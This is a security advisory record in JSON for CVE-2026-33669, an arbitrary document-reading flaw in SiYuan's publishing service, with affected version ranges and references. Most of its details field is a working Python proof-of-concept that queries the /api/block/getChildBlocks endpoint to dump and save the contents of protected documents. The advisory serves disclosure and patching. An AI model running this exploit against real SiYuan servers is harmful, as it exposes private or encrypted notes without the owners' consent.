{"schema_version":"1.7.5","id":"GHSA-34xj-66v3-6j83","published":"2026-03-25T19:36:22Z","modified":"2026-03-27T21:31:21.189125Z","aliases":["CVE-2026-33669","GO-2026-4842"],"summary":"SiYuan has Arbitrary Document Reading within the Publishing Service","details":"### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n    \"\"\"\n    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n    \"\"\"\n    url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n    \n    headers = {\n        \"Content-Type\": \"application/json\"\n    }\n    \n    data = {\n        \"id\": doc_id\n    }\n    \n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        response.raise_for_status()\n        \n        result = response.json()\n        \n        if result.get(\"code\") != 0:\n            print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n            return None\n        \n        return result.get(\"data\")\n        \n    except requests.exceptions.RequestException as e:\n        print(f\"[-] 网络请求失败: {e}\")\n        return None\n    except json.JSONDecodeError as e:\n        print(f\"[-] JSON解析失败: {e}\")\n        return None\n\ndef format_block_content(block):\n    \"\"\"格式化块内容\"\"\"\n    content = \"\"\n    \n    # 获取块内容\n    if isinstance(block, dict):\n        # 尝试多种可能的字段\n        md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n        if md:\n            content = md.strip()\n    \n    return content\n\ndef main():\n    \"\"\"主函数\"\"\"\n    if len(sys.argv) > 1:\n        target_url = sys.argv[1]\n    else:\n        target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n        if not target_url:\n            target_url = \"http://localhost:6806\"\n    \n    print(f\"目标地址: {target_url}\")\n    print(\"=\" * 50)\n    \n    while True:\n        print(\"\\n\" + \"=\" * 50)\n        doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n        \n        if doc_id.lower() in ['quit', 'exit', 'q']:\n            print(\"程序退出\")\n            break\n        \n        if not doc_id:\n            print(\"[-] 文档ID不能为空\")\n            continue\n        \n        print(f\"\\n[*] 正在读取文档: {doc_id}\")\n        \n        blocks = get_child_blocks(target_url, doc_id)\n        \n        if blocks is None:\n            print(\"[-] 获取文档内容失败\")\n            continue\n        \n        if not blocks:\n            print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n            continue\n        \n        print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n        print(\"-\" * 50)\n        \n        # 保存所有块内容\n        all_blocks_content = []\n        \n        for i, block in enumerate(blocks, 1):\n            content = format_block_content(block)\n            if content:\n                print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n                \n                all_blocks_content.append({\n                    \"index\": i,\n                    \"content\": content,\n                    \"raw_block\": block\n                })\n        \n        # 询问是否保存到文件\n        save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n        if save_choice in ['y', 'yes']:\n            filename = f\"doc_{doc_id}_blocks.json\"\n            try:\n                with open(filename, \"w\", encoding=\"utf-8\") as f:\n                    json.dump({\n                        \"doc_id\": doc_id,\n                        \"block_count\": len(blocks),\n                        \"blocks\": all_blocks_content\n                    }, f, ensure_ascii=False, indent=2)\n                print(f\"[+] 已保存到: {filename}\")\n            except Exception as e:\n                print(f\"[-] 保存失败: {e}\")\n        \n        print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n<img width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" />\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20260317012524-fe4523fff2c8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-34xj-66v3-6j83/GHSA-34xj-66v3-6j83.json"}},{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-34xj-66v3-6j83/GHSA-34xj-66v3-6j83.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33669"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"database_specific":{"cwe_ids":["CWE-125"],"github_reviewed":true,"github_reviewed_at":"2026-03-25T19:36:22Z","nvd_published_at":"2026-03-26T22:16:29Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}